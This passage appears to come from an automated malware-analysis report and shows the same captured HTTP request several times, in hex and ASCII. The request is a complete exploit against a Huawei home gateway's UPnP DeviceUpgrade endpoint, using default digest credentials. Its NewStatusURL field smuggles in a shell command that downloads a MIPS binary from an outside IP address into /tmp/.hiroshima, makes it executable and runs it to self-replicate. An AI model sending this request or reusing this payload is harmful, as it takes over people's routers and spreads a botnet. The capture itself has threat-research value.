huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
